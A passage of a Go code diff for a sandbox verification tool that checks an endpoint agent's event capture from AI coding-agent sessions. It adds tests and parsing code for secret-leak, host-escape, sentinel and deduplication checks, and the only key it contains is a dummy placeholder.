+ t.Errorf("expected FAIL, got %s", v.Outcome)
+ }
+}
+
+func TestPlantedSecretIsDetected(t *testing.T) {
+ secret := "sk-ant-thisisnotarealkey-000111222"
+ lines := goodLog()
+ lines[0] = strings.Replace(lines[0], `"message":`, `"leaked":"`+secret+`","message":`, 1)
+ v := run(t, lines, demoScenario(), presentSentinel(),
+ map[string]string{"ANTHROPIC_API_KEY": secret})
+
+ if !hasCheck(v, "invariant.no_secret_leak") {
+ t.Errorf("expected the secret leak check to fire:\n%s", v.Report())
+ }
+ if v.Outcome != Fail {
+ t.Errorf("expected FAIL, got %s", v.Outcome)
+ }
+}
+
+// An empty secret must not be reported as clean. A naive substring search for "" matches
+// every line; during M0 that produced a false "LEAKED" verdict, and the inverse mistake
+// would produce false assurance.
+func TestEmptySecretIsReportedAsUnverifiedNotClean(t *testing.T) {
+ v := run(t, goodLog(), demoScenario(), presentSentinel(),
+ map[string]string{"ANTHROPIC_API_KEY": ""})
+
+ if !hasCheck(v, "invariant.no_secret_leak") {
+ t.Fatalf("expected a warning that the check could not run:\n%s", v.Report())
+ }
+ for _, f := range v.Findings {
+ if f.Check == "invariant.no_secret_leak" {
+ if f.Severity != SevWarn {
+ t.Errorf("expected warn severity for an unverifiable check, got %s", f.Severity)
+ }
+ if !strings.Contains(f.Summary, "vacuous") {
+ t.Errorf("summary should say the check was vacuous, got %q", f.Summary)
+ }
+ }
+ }
+ // It must not fail the run either: nothing was proven wrong, just unproven.
+ if v.Outcome == Fail {
+ t.Errorf("an unverifiable secret check should not fail the run")
+ }
+}
+
+// A provider-stored secret is the most secure credential path precisely because its value never
+// reaches this process, which also means the leak check has nothing to search for. The resulting
+// warning must name that cause: "value was empty" reads as a defect and would send someone
+// looking for a bug that isn't there.
+func TestWithheldSecretWarnsWithTheReasonAndDoesNotFail(t *testing.T) {
+ log, err := ReadLog(writeLog(t, goodLog()))
+ if err != nil {
+ t.Fatalf("ReadLog: %v", err)
+ }
+ sc := demoScenario()
+ v := Verdict{Scenario: sc.ID}
+ Invariants(&v, log, Secrets{Withheld: map[string]string{
+ "ANTHROPIC_API_KEY": `it is stored as provider secret "team-key" and never enters this process`,
+ }})
+ Expectations(&v, log, sc, canary, presentSentinel(), okSession())
+ v.Resolve()
+
+ if !hasCheck(v, "invariant.no_secret_leak") {
+ t.Fatalf("a withheld credential must still produce a finding:\n%s", v.Report())
+ }
+ for _, f := range v.Findings {
+ if f.Check != "invariant.no_secret_leak" {
+ continue
+ }
+ if f.Severity != SevWarn {
+ t.Errorf("severity = %s, want warn: nothing was proven wrong, just unproven", f.Severity)
+ }
+ if !strings.Contains(f.Summary, "team-key") {
+ t.Errorf("summary should carry the supplied reason, got %q", f.Summary)
+ }
+ if strings.Contains(f.Summary, "was empty") {
+ t.Errorf("a deliberately withheld value must not be described as empty: %q", f.Summary)
+ }
+ }
+ // Choosing the most secure credential path must not fail the run.
+ if v.Outcome != Pass {
+ t.Errorf("outcome = %s, want pass:\n%s", v.Outcome, v.Report())
+ }
+}
+
+// The sentinel gate is what separates a capture bug from a model that declined the task.
+func TestAbsentSentinelIsInconclusiveNotFail(t *testing.T) {
+ lines := goodLog()[:1] // only the prompt: no command was ever run
+ v := run(t, lines, demoScenario(), Sentinel{Declared: true, Present: false, Probed: true, Detail: "__MISSING__"}, nil)
+
+ if v.Outcome != Inconclusive {
+ t.Fatalf("expected INCONCLUSIVE when the agent never acted, got %s:\n%s", v.Outcome, v.Report())
+ }
+ if len(v.Failures()) != 0 {
+ t.Errorf("an inconclusive run must not report capture failures:\n%s", v.Report())
+ }
+ if !strings.Contains(v.Reason, "sentinel") {
+ t.Errorf("reason should explain the sentinel gate, got %q", v.Reason)
+ }
+}
+
+// Without a sentinel there is nothing to disambiguate with, so a missing event has to fail.
+// Otherwise a scenario could silently never assert anything.
+func TestMissingEventWithoutSentinelFails(t *testing.T) {
+ sc := demoScenario()
+ sc.Sentinel = ""
+ lines := goodLog()[:1]
+ v := run(t, lines, sc, Sentinel{}, nil)
+
+ if v.Outcome != Fail {
+ t.Fatalf("expected FAIL without a sentinel to excuse the absence, got %s", v.Outcome)
+ }
+}
+
+// The matcher must model asymptoteobserve.IsDuplicateEndpointEvent, not an approximation of it.
+//
+// This test previously asserted the approximation: that any two identical events inside the 2s
+// window collapse. That is wrong for the case every sandbox run actually produces. All events
+// carry harness claude_code, and the real writer preserves same-harness repeats unless both
+// share an equal non-empty tool call ID -- two adjacent calls can legitimately touch the same
+// file or command. The old model under-counted legitimate repeats and could fail a min_count the
+// writer would never have collapsed. Cursor Bugbot caught it; the test was wrong, not the fix.
+func TestSameHarnessRepeatsSurviveWithoutMatchingCallIDs(t *testing.T) {
+ base := goodLog()
+ dup := strings.Replace(base[1], "18:00:01Z", "18:00:02Z", 1) // 1s apart, no call IDs
+
+ sc := demoScenario()
+ sc.Expect = []scenario.Expect{{
+ Action: "command.executed", Fields: []string{"command.command"}, MinCount: 2,
+ Why: "two adjacent Bash calls can legitimately run the same command",
+ }}
+
+ v := run(t, []string{base[0], base[1], dup}, sc, presentSentinel(), nil)
+ if v.Outcome != Pass {
+ t.Errorf("same-harness repeats without call IDs are preserved by the writer, so "+
+ "min_count 2 must pass:\n%s", v.Report())
+ }
+}
+
+// An equal, non-empty call ID inside the window is the one case the writer does collapse, so
+// requiring two would be a guaranteed false failure.
+func TestMatchingCallIDsInsideTheWindowCollapse(t *testing.T) {
+ base := goodLog()
+ withID := func(line, ts, id string) string {
+ line = strings.Replace(line, "18:00:01Z", ts, 1)
+ return strings.Replace(line, `"tool":{"name":"Bash"}`,
+ `"tool":{"name":"Bash"},"gen_ai":{"tool":{"call":{"id":"`+id+`"}}}`, 1)
+ }
+ first := withID(base[1], "18:00:01Z", "call-1")
+ same := withID(base[1], "18:00:02Z", "call-1") // 1s apart, identical call id
+ later := withID(base[1], "18:00:11Z", "call-1") // 10s apart, outside the 2s window
+
+ sc := demoScenario()
+ sc.Expect = []scenario.Expect{{
+ Action: "command.executed", Fields: []string{"command.command"}, MinCount: 2,
+ Why: "pins the one case the writer really suppresses",
+ }}
+
+ within := run(t, []string{base[0], first, same}, sc, presentSentinel(), nil)
+ if within.Outcome != Fail {
+ t.Errorf("equal call IDs 1s apart are collapsed by the writer, so min_count 2 must "+
+ "fail:\n%s", within.Report())
+ }
+
+ outside := run(t, []string{base[0], first, later}, sc, presentSentinel(), nil)
+ if outside.Outcome != Pass {
+ t.Errorf("10s apart is outside the 2s window, so both survive:\n%s", outside.Report())
+ }
+}
+
+// Only a fixed set of actions is eligible for suppression at all. Treating others as
+// collapsible would invent suppression the writer never performs.
+func TestNonCandidateActionsAreNeverCollapsed(t *testing.T) {
+ base := goodLog()
+ // token.usage is not in the writer's dedupe set, so two 1s apart both count.
+ dup := strings.Replace(base[2], "18:00:02Z", "18:00:03Z", 1)
+
+ sc := demoScenario()
+ sc.Expect = []scenario.Expect{{
+ Action: "token.usage", MinCount: 2,
+ Why: "token.usage is outside the writer's dedupe set",
+ }}
+
+ v := run(t, []string{base[0], base[2], dup}, sc, presentSentinel(), nil)
+ if v.Outcome != Pass {
+ t.Errorf("token.usage is not a dedupe candidate, so both must count:\n%s", v.Report())
+ }
+}
+
+func TestOptionalExpectationWarnsButDoesNotFail(t *testing.T) {
+ sc := demoScenario()
+ sc.Expect = append(sc.Expect, scenario.Expect{
+ Action: "approval.denied", Optional: true, Why: "known gap",
+ })
+ v := run(t, goodLog(), sc, presentSentinel(), nil)
+
+ if v.Outcome != Pass {
+ t.Fatalf("an optional expectation must not fail the run, got %s:\n%s", v.Outcome, v.Report())
+ }
+ var warned bool
+ for _, f := range v.Findings {
+ if f.Severity == SevWarn && strings.Contains(f.Check, "approval.denied") {
+ warned = true
+ }
+ }
+ if !warned {
+ t.Errorf("optional expectation should still be recorded as a warning:\n%s", v.Report())
+ }
+}
+
+func TestUnknownActionIsSurfaced(t *testing.T) {
+ lines := goodLog()
+ lines[2] = strings.Replace(lines[2], `"action":"token.usage"`, `"action":"token.usaeg"`, 1)
+ v := run(t, lines, demoScenario(), presentSentinel(), nil)
+
+ if !hasCheck(v, "invariant.known_actions") {
+ t.Errorf("a typo'd action should be surfaced, since there is no enum to catch it:\n%s", v.Report())
+ }
+}
+
+func TestOversizedEventFails(t *testing.T) {
+ lines := goodLog()
+ huge := strings.Repeat("x", MaxEventBytes+10)
+ lines = append(lines, strings.Replace(lines[0], "sandbox", huge, 1))
+ v := run(t, lines, demoScenario(), presentSentinel(), nil)
+
+ if !hasCheck(v, "invariant.event_size") {
+ t.Errorf("expected the size cap check to fire:\n%s", v.Report())
+ }
+}
+
+func TestFieldLookupHandlesNesting(t *testing.T) {
+ log, err := ReadLog(writeLog(t, goodLog()))
+ if err != nil {
+ t.Fatal(err)
+ }
+ e := log.Events[2]
+ if _, ok := e.Field("gen_ai.usage.input_tokens"); !ok {
+ t.Error("expected to resolve a nested numeric field")
+ }
+ if _, ok := e.Field("gen_ai.usage.output_tokens"); ok {
+ t.Error("absent nested field must report not-present, not panic or default")
+ }
+ if _, ok := e.Field("command.command"); ok {
+ t.Error("absent sub-object must report not-present")
+ }
+}
+
+func hasCheck(v Verdict, name string) bool {
+ for _, f := range v.Findings {
+ if f.Check == name {
+ return true
+ }
+ }
+ return false
+}
+
+// CompareFingerprints previously treated any outcome change other than PASS -> FAIL as an
+// improvement, so INCONCLUSIVE -> FAIL read as progress and PASS -> INCONCLUSIVE hid a lost
+// signal. INCONCLUSIVE means the agent never did the work, so that run measured nothing and a
+// measurement cannot be compared against a non-measurement in either direction.
+func TestOutcomeTransitionsInvolvingInconclusiveAreNotComparable(t *testing.T) {
+ cases := []struct {
+ before, after Outcome
+ bucket string
+ }{
+ {Pass, Fail, "regression"},
+ {Fail, Pass, "improvement"},
+ {Inconclusive, Fail, "neutral"},
+ {Pass, Inconclusive, "neutral"},
+ {Inconclusive, Pass, "neutral"},
+ {Fail, Inconclusive, "neutral"},
+ }
+ for _, c := range cases {
+ d := CompareFingerprints(
+ Fingerprint{Outcome: c.before}, Fingerprint{Outcome: c.after})
+ got := "none"
+ switch {
+ case len(d.Regressions) > 0:
+ got = "regression"
+ case len(d.Improvements) > 0:
+ got = "improvement"
+ case len(d.Neutral) > 0:
+ got = "neutral"
+ }
+ if got != c.bucket {
+ t.Errorf("%s -> %s classified as %s, want %s", c.before, c.after, got, c.bucket)
+ }
+ }
+}
+
+// Resolve used to return early on INCONCLUSIVE, so an inactive agent suppressed every hard
+// failure reported alongside it -- a leaked credential, a corrupt line, a host escape, an argv
+// disclosure. Those are invariants and safety properties: they do not depend on the agent having
+// done the work, so an idle agent is no reason to stop reporting them. Cursor Bugbot flagged this
+// as High, and it is the worst class of bug this tool can have: a suppressed security finding.
+func TestInconclusiveDoesNotMaskHardFailures(t *testing.T) {
+ for _, name := range []string{
+ "invariant.no_secret_leak",
+ "invariant.jsonl_parseable",
+ "safety.host_untouched",
+ "safety.secret_not_in_argv",
+ } {
+ v := Verdict{Outcome: Inconclusive}
+ v.Add(Finding{Check: name, Severity: SevFail, Summary: "something is genuinely wrong"})
+ v.Resolve()
+
+ if v.Outcome != Fail {
+ t.Errorf("%s at fail severity must produce FAIL even when inconclusive, got %s",
+ name, v.Outcome)
+ }
+ }
+}
+
+// A bare INCONCLUSIVE with nothing actually wrong must stay inconclusive, or the fix above would
+// have turned every idle-agent run into a false Beacon bug report.
+func TestInconclusiveSurvivesWhenNothingFailed(t *testing.T) {
+ v := Verdict{Outcome: Inconclusive}
+ v.Add(Finding{Check: "sentinel.agent_acted", Severity: SevInfo, Summary: "not found"})
+ v.Add(Finding{Check: "invariant.timestamp_order", Severity: SevWarn, Summary: "some drift"})
+ v.Resolve()
+
+ if v.Outcome != Inconclusive {
+ t.Errorf("outcome = %s, want inconclusive: info and warn findings are not failures", v.Outcome)
+ }
+}
+
+// hostguard.Diff.Describe always returns a non-empty string, so an empty HostChanged can only
+// mean the comparison never ran. Safety previously said nothing in that case, reporting an unrun
+// check as a passing one -- the same mistake the argv branch already avoided, which is the
+// inconsistency Cursor Bugbot spotted.
+func TestUnrecordedHostComparisonWarnsRatherThanReadingClean(t *testing.T) {
+ var v Verdict
+ Safety(&v, HostSafety{HostChanged: "", ArgvCheckRan: true})
+
+ var found *Finding
+ for i := range v.Findings {
+ if v.Findings[i].Check == "safety.host_untouched" {
+ found = &v.Findings[i]
+ }
+ }
+ if found == nil {
+ t.Fatalf("an unrecorded host comparison must produce a finding:\n%s", v.Report())
+ }
+ if found.Severity != SevWarn {
+ t.Errorf("severity = %s, want warn: unproven, not failed", found.Severity)
+ }
+ if !strings.Contains(found.Summary, "unverified") {
+ t.Errorf("summary should say unverified, got %q", found.Summary)
+ }
+}
+
+// A recorded clean comparison must stay silent, or every run would carry a spurious warning.
+func TestCleanHostComparisonIsSilent(t *testing.T) {
+ var v Verdict
+ Safety(&v, HostSafety{HostChanged: hostguard.CleanDescription, ArgvCheckRan: true})
+
+ if hasCheck(v, "safety.host_untouched") {
+ t.Errorf("a clean comparison should add nothing:\n%s", v.Report())
+ }
+}
+
+// A real change is still a hard failure -- the fix above must not have softened it.
+func TestChangedHostStillFails(t *testing.T) {
+ var v Verdict
+ Safety(&v, HostSafety{HostChanged: "modified: /var/log/beacon-agent", ArgvCheckRan: true})
+ v.Resolve()
+
+ if v.Outcome != Fail {
+ t.Errorf("a host change must fail the run, got %s", v.Outcome)
+ }
+}
+
+// strings.Contains(x, "") is true for every x, so an empty canary would make every marker
+// expectation pass vacuously. Offline verify reads the canary from meta.json where it can be
+// missing or cleared, so this is reachable in practice -- and it is the exact inverse of the
+// empty-secret case this tool already refuses to call clean. Cursor Bugbot flagged it as High.
+func TestEmptyCanaryCannotSatisfyAMarkerExpectation(t *testing.T) {
+ sc := demoScenario()
+ sc.Expect = []scenario.Expect{{
+ Action: "command.executed", Contains: []string{"{{canary}}"},
+ Why: "the marker is the whole point of the check",
+ }}
+
+ log, err := ReadLog(writeLog(t, goodLog()))
+ if err != nil {
+ t.Fatal(err)
+ }
+ v := Verdict{Scenario: sc.ID}
+ Expectations(&v, log, sc, "", presentSentinel(), okSession()) // empty canary
+ v.Resolve()
+
+ if v.Outcome != Fail {
+ t.Fatalf("an unmatchable marker must fail, not pass vacuously:\n%s", v.Report())
+ }
+ if !strings.Contains(v.Report(), "empty marker") {
+ t.Errorf("the finding should name the cause, got:\n%s", v.Report())
+ }
+}
+
+// A real canary must still match, or the guard above would break every genuine run.
+func TestRealCanaryStillMatches(t *testing.T) {
+ sc := demoScenario()
+ sc.Expect = []scenario.Expect{{
+ Action: "command.executed", Contains: []string{"{{canary}}"}, Why: "baseline",
+ }}
+ v := run(t, goodLog(), sc, presentSentinel(), nil)
+ if v.Outcome != Pass {
+ t.Errorf("a present canary must match:\n%s", v.Report())
+ }
+}
+
+// Host escape and credential-in-argv come from run metadata, not from the log, so they must be
+// reported even when the log cannot be read. A collection problem is the weakest reason imaginable
+// to stop reporting the strongest findings. Cursor Bugbot flagged the masking as High.
+func TestSafetyFindingsAreIndependentOfTheLog(t *testing.T) {
+ // A leaked credential and a clobbered host, with no log at all.
+ var v Verdict
+ Safety(&v, HostSafety{
+ HostChanged: "modified: /Users/dev/.beacon/endpoint",
+ SecretInArgv: true,
+ ArgvCheckRan: true,
+ })
+ v.Resolve()
+
+ if v.Outcome != Fail {
+ t.Fatalf("host escape plus argv disclosure must fail, got %s", v.Outcome)
+ }
+ for _, want := range []string{"safety.host_untouched", "safety.secret_not_in_argv"} {
+ if !hasCheck(v, want) {
+ t.Errorf("%s must be reported without any log:\n%s", want, v.Report())
+ }
+ }
+}
+
+// Overriding INCONCLUSIVE to FAIL has to take its reason with it. Leaving "the agent did not
+// perform the requested work" on a FAIL misattributes the failure to an idle model when something
+// independent actually broke, sending a reader off to retry instead of to the finding.
+func TestOverriddenInconclusiveDoesNotKeepItsReason(t *testing.T) {
+ v := Verdict{
+ Outcome: Inconclusive,
+ Reason: "sentinel absent: the agent did not perform the requested work, so capture cannot be judged",
+ }
+ v.Add(Finding{Check: "invariant.jsonl_parseable", Severity: SevFail, Summary: "corrupt line"})
+ v.Resolve()
+
+ if v.Outcome != Fail {
+ t.Fatalf("outcome = %s, want fail", v.Outcome)
+ }
+ if strings.Contains(v.Reason, "capture cannot be judged") {
+ t.Errorf("the inconclusive reason must not survive onto a FAIL: %q", v.Reason)
+ }
+ if !strings.Contains(v.Reason, "do not") {
+ t.Errorf("the reason should warn against dismissing this as a retry, got %q", v.Reason)
+ }
+}
+
+// A genuine INCONCLUSIVE keeps its explanation, since the retry advice is correct there.
+func TestGenuineInconclusiveKeepsItsReason(t *testing.T) {
+ const reason = "sentinel absent: the agent did not perform the requested work"
+ v := Verdict{Outcome: Inconclusive, Reason: reason}
+ v.Add(Finding{Check: "sentinel.agent_acted", Severity: SevInfo, Summary: "not found"})
+ v.Resolve()
+
+ if v.Outcome != Inconclusive || v.Reason != reason {
+ t.Errorf("a real inconclusive must keep its reason, got %s / %q", v.Outcome, v.Reason)
+ }
+}
+
+// An unreadable sentinel is not evidence the agent was idle. The probe used to discard its exec
+// error, so a failed guest exec produced empty stdout, "__MISSING__" never appeared, and the run
+// was reported INCONCLUSIVE -- telling the reader to retry when the real problem was
+// infrastructure, and quietly excusing any missing event. Cursor Bugbot flagged it as High, noting
+// the argv path in the same function already required a successful exec.
+func TestUnreadableSentinelIsNotTreatedAsAnIdleAgent(t *testing.T) {
+ sc := demoScenario()
+ // The log is missing the command event the scenario requires.
+ v := run(t, goodLog()[:1], sc, Sentinel{Declared: true, Probed: false}, nil)
+
+ if v.Outcome == Inconclusive {
+ t.Errorf("a failed probe must not claim the agent was idle:\n%s", v.Report())
+ }
+ if v.Outcome != Fail {
+ t.Fatalf("without sentinel evidence a missing event cannot be excused, got %s:\n%s",
+ v.Outcome, v.Report())
+ }
+ report := v.Report()
+ if !strings.Contains(report, "could not be read") {
+ t.Errorf("the verdict should say the probe failed:\n%s", report)
+ }
+ if !strings.Contains(report, "unverified") {
+ t.Errorf("the finding should read as unverified rather than absent:\n%s", report)
+ }
+}
+
+// A probe that ran and found nothing still means the agent was idle, so the retry advice stands.
+func TestProbedAbsentSentinelStaysInconclusive(t *testing.T) {
+ v := run(t, goodLog()[:1], demoScenario(),
+ Sentinel{Declared: true, Present: false, Probed: true, Detail: "__MISSING__"}, nil)
+
+ if v.Outcome != Inconclusive {
+ t.Errorf("a successful probe finding nothing is a real inconclusive, got %s:\n%s",
+ v.Outcome, v.Report())
+ }
+}
+
+// SessionOK is collected specifically to separate an agent/auth failure from a capture gap, and the
+// claude-out.json path fix exists to keep that signal accurate -- but judge never read it. On the
+// sentinel-less scenarios (s01-hello, s07-denied-tool) a dead session therefore produced expectation
+// failures that read as Beacon capture bugs, which is the exact ambiguity the sentinel removes
+// elsewhere. Cursor Bugbot flagged it.
+func TestFailedSessionWithoutASentinelIsInconclusiveNotFail(t *testing.T) {
+ sc := demoScenario()
+ sc.Sentinel = "" // s01/s07 shape: nothing left behind to check
+ log, err := ReadLog(writeLog(t, goodLog()[:1]))
+ if err != nil {
+ t.Fatal(err)
+ }
+ v := Verdict{Scenario: sc.ID}
+ Expectations(&v, log, sc, canary, Sentinel{}, Session{Known: true, OK: false})
+ v.Resolve()
+
+ if v.Outcome != Inconclusive {
+ t.Fatalf("a dead session with no sentinel must be inconclusive, got %s:\n%s",
+ v.Outcome, v.Report())
+ }
+ if !strings.Contains(v.Reason, "agent session itself failed") {
+ t.Errorf("the reason should blame the session, not capture: %q", v.Reason)
+ }
+}
+
+// A successful session must not excuse a missing event -- that would make every scenario pass.
+func TestSuccessfulSessionStillFailsOnAMissingEvent(t *testing.T) {
+ sc := demoScenario()
+ sc.Sentinel = ""
+ log, err := ReadLog(writeLog(t, goodLog()[:1]))
+ if err != nil {
+ t.Fatal(err)
+ }
+ v := Verdict{Scenario: sc.ID}
+ Expectations(&v, log, sc, canary, Sentinel{}, Session{Known: true, OK: true})
+ v.Resolve()
+
+ if v.Outcome != Fail {
+ t.Errorf("a working session with a missing event is a real capture gap, got %s:\n%s",
+ v.Outcome, v.Report())
+ }
+}
+
+// An unreadable session result says nothing, so it must warn rather than excuse or blame.
+func TestUnknownSessionResultWarnsWithoutExcusing(t *testing.T) {
+ sc := demoScenario()
+ sc.Sentinel = ""
+ log, err := ReadLog(writeLog(t, goodLog()[:1]))
+ if err != nil {
+ t.Fatal(err)
+ }
+ v := Verdict{Scenario: sc.ID}
+ Expectations(&v, log, sc, canary, Sentinel{}, Session{Known: false})
+ v.Resolve()
+
+ if v.Outcome != Fail {
+ t.Errorf("an unknown session result must not excuse a missing event, got %s", v.Outcome)
+ }
+ if !strings.Contains(v.Report(), "unverified") {
+ t.Errorf("the verdict should record that the session result was unreadable:\n%s", v.Report())
+ }
+}
+
+// With a sentinel present the sentinel governs: the agent demonstrably acted, whatever its own
+// exit status claimed.
+func TestSentinelBeatsTheSessionSignal(t *testing.T) {
+ v := run(t, goodLog(), demoScenario(), presentSentinel(), nil)
+ if v.Outcome != Pass {
+ t.Errorf("a confirmed sentinel should govern, got %s:\n%s", v.Outcome, v.Report())
+ }
+}
+
+// The timestamp bookkeeping tracks the latest timestamp per session and reports only large
+// backwards jumps. A reviewer read the original `else if` as a compile error, so the restructured
+// form is pinned by behavior rather than by shape: the first event of a session must be recorded,
+// ordinary forward progress must not warn, and only a jump beyond the tolerance must.
+func TestTimestampOrderOnlyWarnsOnLargeRegressions(t *testing.T) {
+ at := func(ts string) string {
+ return `{"timestamp":"` + ts + `","vendor":"beacon","product":"endpoint-agent",` +
+ `"schema_version":"1.0","event":{"kind":"agent_runtime","action":"session.activity",` +
+ `"category":"session"},"severity":"info","endpoint":{"os":"linux","hostname":"s"},` +
+ `"harness":{"name":"claude_code"},"session":{"id":"s1"},"message":"m"}`
+ }
+ sc := demoScenario()
+ sc.Sentinel = ""
+ sc.Expect = []scenario.Expect{{Action: "session.activity", Why: "baseline"}}
+
+ // Forward progress, plus a 1s hiccup well inside the 5s tolerance.
+ fine := run(t, []string{at("2026-08-02T18:00:00Z"), at("2026-08-02T18:00:10Z"),
+ at("2026-08-02T18:00:09Z")}, sc, Sentinel{}, nil)
+ if hasCheck(fine, "invariant.timestamp_order") {
+ t.Errorf("a 1s hiccup is inside the tolerance and must not warn:\n%s", fine.Report())
+ }
+
+ // A 30s backwards jump is outside it.
+ regressed := run(t, []string{at("2026-08-02T18:00:00Z"), at("2026-08-02T18:01:00Z"),
+ at("2026-08-02T18:00:30Z")}, sc, Sentinel{}, nil)
+ if !hasCheck(regressed, "invariant.timestamp_order") {
+ t.Errorf("a 30s backwards jump must warn:\n%s", regressed.Report())
+ }
+ // A warning only, never a failure: batching makes modest disorder normal.
+ if regressed.Outcome == Fail {
+ t.Errorf("timestamp disorder is a warning, not a failure:\n%s", regressed.Report())
+ }
+}
+
+// A flaky service probe must warn, not fail. Treating it as a host escape would manufacture the
+// most serious finding this tool has out of a tooling hiccup; staying silent would claim a clean
+// bill of health the guard did not earn.
+func TestPartiallyVerifiedHostWarnsRatherThanFailing(t *testing.T) {
+ var v Verdict
+ Safety(&v, HostSafety{HostChanged: hostguard.PartialDescription, ArgvCheckRan: true})
+ v.Resolve()
+
+ if v.Outcome == Fail {
+ t.Errorf("an unavailable service probe is not a host escape:\n%s", v.Report())
+ }
+ if !hasCheck(v, "safety.host_untouched") {
+ t.Errorf("the partial verification must still be reported:\n%s", v.Report())
+ }
+ if !strings.Contains(v.Report(), "unverified") {
+ t.Errorf("the finding should read as unverified:\n%s", v.Report())
+ }
+}
diff --git a/beacon-sandbox/check/events.go b/beacon-sandbox/check/events.go
new file mode 100644
index 00000000..aa992364
--- /dev/null
+++ b/beacon-sandbox/check/events.go
@@ -0,0 +1,135 @@
+// Package check turns collected artifacts into a verdict.
+//
+// Deliberately a pure function of what is on disk: no sandbox, no model, no network. That
+// makes it instant and free to re-run while iterating on what counts as correct, and it
+// makes a verdict reproducible even though the session that produced it was not.
+package check
+
+import (
+ "bufio"
+ "encoding/json"
+ "fmt"
+ "os"
+ "strings"
+
+ obs "github.com/asymptote-labs/agent-beacon/pkg/asymptoteobserve"
+)
+
+// Event is one parsed JSONL line, kept alongside its raw form and line number so findings
+// can point at exact evidence.
+type Event struct {
+ Line int
+ Raw string
+ // Decoded is the generic form, used for dotted-path field lookups.
+ Decoded map[string]any
+ // Typed is the shipped struct, so we validate against the real schema contract
+ // rather than a copy of it that can drift.
+ Typed obs.Event
+ // ParseErr is set when the line is not valid JSON.
+ ParseErr error
+}
+
+// Action returns event.action, or "" when absent.
+func (e Event) Action() string {
+ return e.Typed.Event.Action
+}
+
+// Field resolves a dotted path such as "command.command" or "gen_ai.usage.input_tokens",
+// reporting whether it is present and non-empty. Absent sub-objects are not an error --
+// they are exactly what we are testing for.
+func (e Event) Field(path string) (any, bool) {
+ cur := any(e.Decoded)
+ for _, part := range strings.Split(path, ".") {
+ m, ok := cur.(map[string]any)
+ if !ok {
+ return nil, false
+ }
+ cur, ok = m[part]
+ if !ok {
+ return nil, false
+ }
+ }
+ switch v := cur.(type) {
+ case nil:
+ return nil, false
+ case string:
+ return v, strings.TrimSpace(v) != ""
+ case map[string]any:
+ return v, len(v) > 0
+ case []any:
+ return v, len(v) > 0
+ default:
+ return cur, true
+ }
+}
+
+// Log is a parsed runtime JSONL file.
+type Log struct {
+ Path string
+ Events []Event
+}
+
+// ReadLog parses a Beacon runtime JSONL file strictly.
+//
+// Deliberately does not go through dashboard.StreamEvents, which silently skips malformed
+// lines (internal/endpoint/dashboard/events.go) -- a corrupt writer would look clean. Bad
+// lines are retained here as events carrying ParseErr so the invariant layer can fail on
+// them.
+func ReadLog(path string) (Log, error) {
+ f, err := os.Open(path)
+ if err != nil {
+ return Log{Path: path}, err
+ }
+ defer f.Close()
+
+ log := Log{Path: path}
+ sc := bufio.NewScanner(f)
+ // Events are capped at 64 KiB by the writer, but a corrupt line could be longer and
+ // we want to see it rather than error out mid-scan.
+ sc.Buffer(make([]byte, 0, 64*1024), 8*1024*1024)
+ for n := 1; sc.Scan(); n++ {
+ raw := strings.TrimSpace(sc.Text())
+ if raw == "" {
+ continue
+ }
+ ev := Event{Line: n, Raw: raw}
+ if err := json.Unmarshal([]byte(raw), &ev.Decoded); err != nil {
+ ev.ParseErr = err
+ log.Events = append(log.Events, ev)
+ continue
+ }
+ if err := json.Unmarshal([]byte(raw), &ev.Typed); err != nil {
+ ev.ParseErr = fmt.Errorf("decode into schema struct: %w", err)
+ }
+ log.Events = append(log.Events, ev)
+ }
+ if err := sc.Err(); err != nil {
+ return log, fmt.Errorf("scan %s: %w", path, err)
+ }
+ return log, nil
+}
+
+// ActionHistogram summarizes what was captured, for the report.
+func (l Log) ActionHistogram() map[string]int {
+ h := map[string]int{}
+ for _, e := range l.Events {
+ if e.ParseErr != nil {
+ continue
+ }
+ h[e.Action()]++
+ }
+ return h
+}
+
+// HarnessNames reports the distinct harness.name values seen. More than one for a single
+// runtime is a known inconsistency between the OTLP and hook capture paths.
+func (l Log) HarnessNames() map[string]int {
+ h := map[string]int{}
+ for _, e := range l.Events {
+ if e.ParseErr != nil {
+ continue
+ }
+ h[e.Typed.Harness.Name]++
+ }
+ return h
+}
diff --git a/beacon-sandbox/check/expect.go b/beacon-sandbox/check/expect.go
new file mode 100644
index 00000000..adfc9b53
--- /dev/null
+++ b/beacon-sandbox/check/expect.go
@@ -0,0 +1,362 @@
+package check
+
+import (
+ "fmt"
+ "sort"
+ "strings"
+ "time"
+
+ "github.com/asymptote-labs/agent-beacon/beacon-sandbox/scenario"
+)
+
+// DuplicateWindow mirrors IsDuplicateEndpointEvent's suppression window in the writer.
+//
+// Identical events written within this window are collapsed to one, so a scenario that runs
+// the same command twice in quick succession legitimately yields a single event. Without
+// modelling this, such a scenario would be a guaranteed false failure.
+const DuplicateWindow = 2 * time.Second
+
+// Sentinel describes whether the agent demonstrably performed the scenario's work.
+type Sentinel struct {
+ // Declared is false when the scenario has no sentinel, in which case a missing
+ // expectation cannot be disambiguated and is treated as a failure.
+ Declared bool
+ // Present is true when the sentinel artifact was found after the session.
+ Present bool
+ // Detail is shown in the verdict, e.g. the sentinel file's contents.
+ Detail string
+ // Probed is false when the check could not run, so nothing is known about whether the
+ // agent acted. Distinct from Present: "did not act" and "cannot tell" call for different
+ // responses, and conflating them let a broken guest exec masquerade as an idle model.
+ Probed bool
+}
+
+// Session describes what is known about whether the agent session itself succeeded.
+//
+// This is the fallback gate for scenarios with no sentinel -- s01-hello and s07-denied-tool assert
+// on prompt, token, cost and approval signals that leave no artifact behind. Without it a dead
+// session on those scenarios produced expectation failures that read as Beacon capture gaps, which
+// is precisely the ambiguity the sentinel exists to remove elsewhere. Reported by Cursor Bugbot.
+type Session struct {
+ // Known is false when the agent's own result could not be read, in which case OK says
+ // nothing. Reported as unverified rather than assumed either way.
+ Known bool
+ // OK is true when the agent reported success.
+ OK bool
+}
+
+// Expectations evaluates a scenario's declared assertions against the captured log.
+//
+// The sentinel gate runs first: if the scenario declared one and it is absent, the agent
+// never did the work, so there is nothing for Beacon to have missed and the verdict is
+// INCONCLUSIVE. Reporting FAIL there would blame Beacon for a model's choice, which is
+// exactly the ambiguity this design exists to remove.
+func Expectations(v *Verdict, log Log, sc scenario.Scenario, canary string, sent Sentinel, sess Session) {
+ // An unreadable sentinel is not evidence the agent was idle, so it must not produce
+ // INCONCLUSIVE -- that outcome asserts the agent did nothing and tells the reader to retry.
+ // Without the gate, a missing expectation cannot be excused either, exactly as when no
+ // sentinel was declared, so expectations are evaluated normally and a failure stands.
+ if sc.Sentinel != "" && sent.Declared && !sent.Probed {
+ v.Add(Finding{
